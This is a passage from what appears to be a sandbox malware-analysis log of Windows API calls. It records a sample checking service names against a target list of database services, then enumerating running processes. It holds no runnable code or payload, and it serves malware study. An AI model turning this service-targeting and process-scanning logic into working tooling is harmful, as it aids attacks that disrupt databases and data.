(lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.639] lstrlenW (lpString="PlugPlay") returned 8 [0048.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.639] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.639] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.639] lstrlenW (lpString="Power") returned 5 [0048.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.639] lstrlenW (lpString="ProfSvc") returned 7 [0048.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.640] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.640] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.640] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.640] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.640] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.640] lstrlenW (lpString="RpcSs") returned 5 [0048.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.640] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.640] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.640] lstrlenW (lpString="SamSs") returned 5 [0048.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.640] lstrlenW (lpString="Schedule") returned 8 [0048.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.641] lstrlenW (lpString="SecurityHealthService") returned 21 [0048.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0048.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0048.641] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0048.641] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0048.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0048.641] lstrlenW (lpString="SENS") returned 4 [0048.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.641] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.641] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.641] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.641] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.641] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.641] lstrlenW (lpString="Spooler") returned 7 [0048.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.642] lstrlenW (lpString="SSDPSRV") returned 7 [0048.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0048.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0048.642] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0048.642] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0048.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0048.642] lstrlenW (lpString="StateRepository") returned 15 [0048.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0048.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0048.642] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0048.642] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0048.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0048.642] lstrlenW (lpString="SysMain") returned 7 [0048.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.642] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.642] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.642] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ffb70 | out: hHeap=0x6a0000) returned 1 [0048.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0048.654] Process32FirstW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.654] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.655] lstrlenW (lpString="System") returned 6 [0048.655] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.656] lstrlenW (lpString="smss.exe") returned 8 [0048.656] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.657] lstrlenW (lpString="csrss.exe") returned 9 [0048.657] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.658] lstrlenW (lpString="wininit.exe") returned 11 [0048.658] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.658] lstrlenW (lpString="csrss.exe") returned 9 [0048.658] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.659] lstrlenW (lpString="winlogon.exe") returned 12 [0048.659] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.659] lstrlenW (lpString="services.exe") returned 12 [0048.660] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.660] lstrlenW (lpString="lsass.exe") returned 9 [0048.660] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.661] lstrlenW (lpString="svchost.exe") returned 11 [0048.661] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0048.661] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0048.662] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0048.662] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0048.662] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.663] lstrlenW (lpString="svchost.exe") returned 11 [0048.663] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.663] lstrlenW (lpString="dwm.exe") returned 7 [0048.663] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.664] lstrlenW (lpString="svchost.exe") returned 11 [0048.664] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.665] lstrlenW (lpString="svchost.exe") returned 11 [0048.665] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.665] lstrlenW (lpString="svchost.exe") returned 11 [0048.665] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.666] lstrlenW (lpString="svchost.exe") returned 11 [0048.666] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.667] lstrlenW (lpString="svchost.exe") returned 11 [0048.667] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.667] lstrlenW (lpString="svchost.exe") returned 11 [0048.667] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.668] lstrlenW (lpString="svchost.exe") returned 11 [0048.668] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.669] lstrlenW (lpString="svchost.exe") returned 11 [0048.669] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.669] lstrlenW (lpString="svchost.exe") returned 11 [0048.669] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.670] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.670] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.671] lstrlenW (lpString="svchost.exe") returned 11 [0048.671] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.671] lstrlenW (lpString="svchost.exe") returned 11 [0048.671] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.706] lstrlenW (lpString="audiodg.exe") returned 11 [0048.707] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0048.707] lstrlenW (lpString="sihost.exe") returned 10 [0048.707] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.708] lstrlenW (lpString="svchost.exe") returned 11 [0048.708] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0048.708] lstrlenW (lpString="taskhostw.exe") returned 13 [0048.708] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0048.709] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0048.709] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0048.710] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0048.710] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.710] lstrlenW (lpString="explorer.exe") returned 12 [0048.710] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0048.711] lstrlenW (lpString="Memory Compression") returned 18 [0048.711] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0048.712] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0048.712] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0048.712] lstrlenW (lpString="SearchUI.exe") returned 12 [0048.712] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0048.713] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0048.713] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.714] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.714] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0048.714] lstrlenW (lpString="taskhostw.exe") returned 13 [0048.714] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0048.715] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0048.715] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0048.716] lstrlenW (lpString="UsoClient.exe") returned 13 [0048.716] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0048.716] lstrlenW (lpString="taskhostw.exe") returned 13 [0048.716] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0048.717] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0048.717] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0048.718] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0048.718] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0048.718] lstrlenW (lpString="msoia.exe") returned 9 [0048.718] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0048.719] lstrlenW (lpString="msoia.exe") returned 9 [0048.719] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0048.743] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0048.743] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0048.743] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0048.743] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0048.744] lstrlenW (lpString="xml-upper.exe") returned 13 [0048.744] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0048.745] lstrlenW (lpString="defeat preston.exe") returned 18 [0048.745] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0048.745] lstrlenW (lpString="surveillance.exe") returned 16 [0048.745] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0048.746] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0048.746] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, 